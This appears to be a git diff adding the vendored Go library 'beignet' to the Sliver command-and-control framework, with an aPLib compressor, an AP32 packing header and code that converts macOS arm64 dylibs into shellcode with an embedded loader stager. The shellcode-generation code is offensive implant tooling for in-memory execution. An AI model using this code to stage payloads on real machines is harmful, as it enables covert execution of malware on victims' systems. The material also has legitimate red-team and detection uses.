||||
bestOff = off
|
||||
bestLen = l
|
||||
}
|
||||
}
|
||||
}
|
||||
} else if pos+4 <= len(src) {
|
||||
h := hash4(src[pos : pos+4])
|
||||
hashTable[h] = pos + 1
|
||||
}
|
||||
|
||||
if bestLen >= minMatchLen {
|
||||
w.writeBit(1)
|
||||
w.writeBit(0)
|
||||
|
||||
base := uint32(3)
|
||||
if lastWasMatch {
|
||||
base = 2
|
||||
}
|
||||
|
||||
hi := uint32(bestOff >> 8)
|
||||
lo := byte(bestOff & 0xff)
|
||||
|
||||
w.writeGamma(hi + base)
|
||||
w.writeByte(lo)
|
||||
|
||||
adj := uint32(0)
|
||||
if bestOff >= 32000 {
|
||||
adj++
|
||||
}
|
||||
if bestOff >= 1280 {
|
||||
adj++
|
||||
}
|
||||
if bestOff < 128 {
|
||||
adj += 2
|
||||
}
|
||||
|
||||
gammaLen := uint32(bestLen) - adj
|
||||
if gammaLen < 2 {
|
||||
// Should not happen with minMatchLen>=4, but fall back safely.
|
||||
w.writeBit(0)
|
||||
w.writeByte(src[pos])
|
||||
lastWasMatch = false
|
||||
pos++
|
||||
continue
|
||||
}
|
||||
w.writeGamma(gammaLen)
|
||||
|
||||
lastWasMatch = true
|
||||
|
||||
end := pos + bestLen
|
||||
if end > len(src) {
|
||||
end = len(src)
|
||||
}
|
||||
for p := pos; p < end; p++ {
|
||||
if p+4 <= len(src) {
|
||||
h := hash4(src[p : p+4])
|
||||
hashTable[h] = p + 1
|
||||
}
|
||||
}
|
||||
pos = end
|
||||
continue
|
||||
}
|
||||
|
||||
w.writeBit(0)
|
||||
w.writeByte(src[pos])
|
||||
lastWasMatch = false
|
||||
pos++
|
||||
}
|
||||
|
||||
// End marker: 1 1 0 then offs byte = 0.
|
||||
w.writeBit(1)
|
||||
w.writeBit(1)
|
||||
w.writeBit(0)
|
||||
w.writeByte(0)
|
||||
|
||||
return w.out, nil
|
||||
}
|
||||
|
||||
type bitWriter struct {
|
||||
out []byte
|
||||
tagIndex int
|
||||
bitPos int
|
||||
}
|
||||
|
||||
func newBitWriter(firstLiteral byte) *bitWriter {
|
||||
return &bitWriter{
|
||||
out: []byte{firstLiteral},
|
||||
tagIndex: -1,
|
||||
bitPos: -1,
|
||||
}
|
||||
}
|
||||
|
||||
func (w *bitWriter) startTag() {
|
||||
w.out = append(w.out, 0)
|
||||
w.tagIndex = len(w.out) - 1
|
||||
w.bitPos = 7
|
||||
}
|
||||
|
||||
func (w *bitWriter) ensureTag() {
|
||||
if w.tagIndex < 0 || w.bitPos < 0 {
|
||||
w.startTag()
|
||||
}
|
||||
}
|
||||
|
||||
func (w *bitWriter) writeBit(bit uint32) {
|
||||
w.ensureTag()
|
||||
if bit != 0 {
|
||||
w.out[w.tagIndex] |= 1 << w.bitPos
|
||||
}
|
||||
w.bitPos--
|
||||
}
|
||||
|
||||
func (w *bitWriter) writeByte(b byte) {
|
||||
w.out = append(w.out, b)
|
||||
}
|
||||
|
||||
// writeGamma writes the "gamma2" coding used by aPLib.
|
||||
//
|
||||
// Valid values are >= 2. Values < 2 are not representable.
|
||||
func (w *bitWriter) writeGamma(v uint32) {
|
||||
// aP_getgamma() starts at 1 and runs the body at least once, so the minimum
|
||||
// representable value is 2.
|
||||
if v < 2 {
|
||||
v = 2
|
||||
}
|
||||
|
||||
// For each bit after the MSB, output (dataBit, continueBit).
|
||||
n := bits.Len32(v)
|
||||
for shift := n - 2; shift >= 0; shift-- {
|
||||
dataBit := (v >> shift) & 1
|
||||
w.writeBit(dataBit)
|
||||
continueBit := uint32(0)
|
||||
if shift != 0 {
|
||||
continueBit = 1
|
||||
}
|
||||
w.writeBit(continueBit)
|
||||
}
|
||||
}
|
||||
+74
@@ -0,0 +1,74 @@
|
||||
package aplib
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"hash/crc32"
|
||||
)
|
||||
|
||||
const (
|
||||
safeTag = 0x32335041 // 'AP32'
|
||||
safeHeaderSize = 24
|
||||
)
|
||||
|
||||
var ErrBadHeader = errors.New("aplib: bad safe header")
|
||||
|
||||
// PackSafe returns a safe-packed aPLib buffer (AP32 header + raw stream).
|
||||
func PackSafe(src []byte) ([]byte, error) {
|
||||
if len(src) == 0 {
|
||||
return nil, ErrEmptyInput
|
||||
}
|
||||
if uint64(len(src)) > uint64(^uint32(0)) {
|
||||
return nil, ErrTooLarge
|
||||
}
|
||||
|
||||
packed, err := Pack(src)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if uint64(len(packed)) > uint64(^uint32(0)) {
|
||||
return nil, ErrTooLarge
|
||||
}
|
||||
|
||||
hdr := make([]byte, safeHeaderSize)
|
||||
binary.LittleEndian.PutUint32(hdr[0:4], safeTag)
|
||||
binary.LittleEndian.PutUint32(hdr[4:8], safeHeaderSize)
|
||||
binary.LittleEndian.PutUint32(hdr[8:12], uint32(len(packed)))
|
||||
binary.LittleEndian.PutUint32(hdr[12:16], crc32.ChecksumIEEE(packed))
|
||||
binary.LittleEndian.PutUint32(hdr[16:20], uint32(len(src)))
|
||||
binary.LittleEndian.PutUint32(hdr[20:24], crc32.ChecksumIEEE(src))
|
||||
|
||||
out := make([]byte, 0, len(hdr)+len(packed))
|
||||
out = append(out, hdr...)
|
||||
out = append(out, packed...)
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// DepackSafe depacks an AP32 header + aPLib buffer.
|
||||
func DepackSafe(src []byte) ([]byte, error) {
|
||||
if len(src) < safeHeaderSize {
|
||||
return nil, ErrBadHeader
|
||||
}
|
||||
if binary.LittleEndian.Uint32(src[0:4]) != safeTag {
|
||||
return nil, ErrBadHeader
|
||||
}
|
||||
headerSize := binary.LittleEndian.Uint32(src[4:8])
|
||||
if headerSize < safeHeaderSize || headerSize > uint32(len(src)) {
|
||||
return nil, ErrBadHeader
|
||||
}
|
||||
packedSize := binary.LittleEndian.Uint32(src[8:12])
|
||||
if uint64(headerSize)+uint64(packedSize) > uint64(len(src)) {
|
||||
return nil, ErrBadHeader
|
||||
}
|
||||
origSize := binary.LittleEndian.Uint32(src[16:20])
|
||||
|
||||
body := src[headerSize : headerSize+packedSize]
|
||||
out, err := Depack(body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if uint32(len(out)) != origSize {
|
||||
return nil, ErrCorrupt
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
+1055
File diff suppressed because it is too large.
Load diff
+3
@@ -0,0 +1,3 @@
|
||||
package stager
|
||||
|
||||
//go:generate go run ../../internal/tools/genstager -src ../../internal/loader/beignet_loader.c -out .
|
||||
+8
@@ -0,0 +1,8 @@
|
||||
package stager
|
||||
|
||||
// LoaderText returns the embedded darwin/arm64 loader image bytes and the entry
|
||||
// function offset (relative to the start of the image).
|
||||
func LoaderText() ([]byte, uint64, error) {
|
||||
text, entryOff := loaderTextDarwinArm64()
|
||||
return text, entryOff, nil
|
||||
}
|
||||
BIN
Binary file not shown.
Generated
Vendored
+13
@@ -0,0 +1,13 @@
|
||||
// Code generated by internal/tools/genstager; DO NOT EDIT.
|
||||
package stager
|
||||
|
||||
import _ "embed"
|
||||
|
||||
//go:embed stager_darwin_arm64.bin
|
||||
var imageDarwinArm64 []byte
|
||||
|
||||
const entryOffsetDarwinArm64 = 0x628
|
||||
|
||||
func loaderTextDarwinArm64() ([]byte, uint64) {
|
||||
return imageDarwinArm64, entryOffsetDarwinArm64
|
||||
}
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
package beignet
|
||||
|
||||
import _ "embed"
|
||||
|
||||
//go:embed internal/loader/beignet_loader.c
|
||||
var loaderCSource string
|
||||
|
||||
// LoaderCSource returns the embedded darwin/arm64 loader C source code.
|
||||
func LoaderCSource() string {
|
||||
return loaderCSource
|
||||
}
|
||||
+176
@@ -0,0 +1,176 @@
|
||||
package beignet
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"debug/macho"
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/sliverarmory/beignet/internal/aplib"
|
||||
"github.com/sliverarmory/beignet/internal/stager"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultEntrySymbol = "_StartW"
|
||||
)
|
||||
|
||||
var (
|
||||
ErrUnsupportedArch = errors.New("beignet: only darwin/arm64 is supported")
|
||||
ErrInvalidMachO = errors.New("beignet: invalid Mach-O")
|
||||
)
|
||||
|
||||
type Options struct {
|
||||
// EntrySymbol is the symbol name to resolve in the loaded module (e.g. "_StartW").
|
||||
// If provided without a leading underscore, one is added.
|
||||
EntrySymbol string
|
||||
|
||||
// Compress enables aPLib "AP32" safe-packed compression for the staged dylib
|
||||
// buffer. This reduces shellcode size and requires the embedded loader.
|
||||
Compress bool
|
||||
}
|
||||
|
||||
func DylibFileToShellcode(path string, opts Options) ([]byte, error) {
|
||||
payload, err := readMachOArm64Slice(path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return DylibToShellcode(payload, opts)
|
||||
}
|
||||
|
||||
func DylibToShellcode(dylib []byte, opts Options) ([]byte, error) {
|
||||
if err := validateMachOArm64(dylib); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
entrySymbol, err := normalizeEntrySymbol(opts.EntrySymbol)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
payload := dylib
|
||||
if opts.Compress {
|
||||
packed, err := aplib.PackSafe(dylib)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("beignet: aplib compress: %w", err)
|
||||
}
|
||||
payload = packed
|
||||
}
|
||||
|
||||
loaderText, loaderEntryOff, err := stager.LoaderText()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
bootstrap, err := buildArm64Bootstrap(0, 0, 0, 0)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("beignet: assemble arm64 bootstrap: %w", err)
|
||||
}
|
||||
// The embedded loader is a (mostly) position-independent Mach-O image blob.
|
||||
// It expects to start at a page boundary so ADRP-based addressing remains valid.
|
||||
//
|
||||
// The shellcode buffer itself is mapped at a page boundary by the test runner,
|
||||
// so we just need to align the loader start offset.
|
||||
const loaderAlign = 0x1000
|
||||
loaderStart := alignUp(uint64(len(bootstrap)), loaderAlign)
|
||||
loaderPad := int(loaderStart - uint64(len(bootstrap)))
|
||||
loaderEntryAbs := loaderStart + loaderEntryOff
|
||||
|
||||
payloadStart := alignUp(loaderStart+uint64(len(loaderText)), 16)
|
||||
payloadSize := uint64(len(payload))
|
||||
entrySymbolStart := payloadStart + payloadSize
|
||||
|
||||
bootstrap, err = buildArm64Bootstrap(payloadStart, payloadSize, entrySymbolStart, loaderEntryAbs)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("beignet: assemble arm64 bootstrap: %w", err)
|
||||
}
|
||||
|
||||
out := make([]byte, 0, int(entrySymbolStart)+len(entrySymbol)+1)
|
||||
out = append(out, bootstrap...)
|
||||
if loaderPad > 0 {
|
||||
out = append(out, make([]byte, loaderPad)...)
|
||||
}
|
||||
out = append(out, loaderText...)
|
||||
|
||||
padLen := int(payloadStart - uint64(len(out)))
|
||||
if padLen < 0 {
|
||||
return nil, fmt.Errorf("beignet: internal alignment error (pad=%d)", padLen)
|
||||
}
|
||||
if padLen > 0 {
|
||||
out = append(out, make([]byte, padLen)...)
|
||||
}
|
||||
|
||||
out = append(out, payload...)
|
||||
out = append(out, entrySymbol...)
|
||||
out = append(out, 0) // NUL-terminate symbol name
|
||||
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func normalizeEntrySymbol(sym string) ([]byte, error) {
|
||||
sym = strings.TrimSpace(sym)
|
||||
if sym == "" {
|
||||
sym = defaultEntrySymbol
|
||||
}
|
||||
if strings.ContainsRune(sym, '\x00') {
|
||||
return nil, fmt.Errorf("beignet: entry symbol contains NUL")
|
||||
}
|
||||
if !strings.HasPrefix(sym, "_") {
|
||||
sym = "_" + sym
|
||||
}
|
||||
return []byte(sym), nil
|
||||
}
|
||||
|
||||
func validateMachOArm64(b []byte) error {
|
||||
f, err := macho.NewFile(bytes.NewReader(b))
|
||||
if err != nil {
|
||||
return fmt.Errorf("%w: %v", ErrInvalidMachO, err)
|
||||
}
|
||||
_ = f.Close()
|
||||
|
||||
if f.Cpu != macho.CpuArm64 {
|
||||
return fmt.Errorf("%w: %s", ErrUnsupportedArch, f.Cpu)
|
||||
}
|
||||
|
||||
switch f.Type {
|
||||
case macho.TypeDylib, macho.TypeBundle:
|
||||
return nil
|
||||
default:
|
||||
return fmt.Errorf("%w: unexpected file type %v", ErrInvalidMachO, f.Type)
|
||||
}
|
||||
}
|
||||
|
||||
func readMachOArm64Slice(path string) ([]byte, error) {
|
||||
b, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
ff, err := macho.NewFatFile(bytes.NewReader(b))
|
||||
if err == nil {
|
||||
defer ff.Close()
|
||||
for _, arch := range ff.Arches {
|
||||
if arch.Cpu != macho.CpuArm64 {
|
||||
continue
|
||||
}
|
||||
off := int(arch.Offset)
|
||||
size := int(arch.Size)
|
||||
if off < 0 || size < 0 || off+size > len(b) {
|
||||
return nil, fmt.Errorf("%w: invalid fat arch bounds", ErrInvalidMachO)
|
||||
}
|
||||
return b[off : off+size], nil
|
||||
}
|
||||
return nil, fmt.Errorf("%w: no arm64 slice in fat Mach-O", ErrUnsupportedArch)
|
||||
}
|
||||
|
||||
// Not a fat Mach-O; treat as thin.
|
||||
return b, nil
|
||||
}
|
||||
|
||||
func alignUp(v uint64, align uint64) uint64 {
|
||||
if align == 0 {
|
||||
return v
|
||||
}
|
||||
mask := align - 1
|
||||
return (v + mask) &^ mask
|
||||
}
|
||||
Vendored
+6
-1
@@ -804,7 +804,7 @@ github.com/grpc-ecosystem/go-grpc-middleware/util/metautils
|
||||
## explicit
|
||||
github.com/hashicorp/go-uuid
|
||||
# github.com/hashicorp/yamux v0.1.2
|
||||
## explicit
|
||||
## explicit; go 1.20
|
||||
github.com/hashicorp/yamux
|
||||
# github.com/hdevalence/ed25519consensus v0.2.0
|
||||
## explicit; go 1.19
|
||||
@@ -1265,6 +1265,11 @@ github.com/slack-go/slack/internal/backoff
|
||||
github.com/slack-go/slack/internal/errorsx
|
||||
github.com/slack-go/slack/internal/timex
|
||||
github.com/slack-go/slack/slackutilsx
|
||||
# github.com/sliverarmory/beignet v0.0.2
|
||||
## explicit; go 1.25.6
|
||||
github.com/sliverarmory/beignet
|
||||
github.com/sliverarmory/beignet/internal/aplib
|
||||
github.com/sliverarmory/beignet/internal/stager
|
||||
# github.com/sliverarmory/wasm-donut v0.0.3
|
||||
## explicit; go 1.25.6
|
||||
github.com/sliverarmory/wasm-donut
|
||||
|
||||
Reference in new issue
Block a user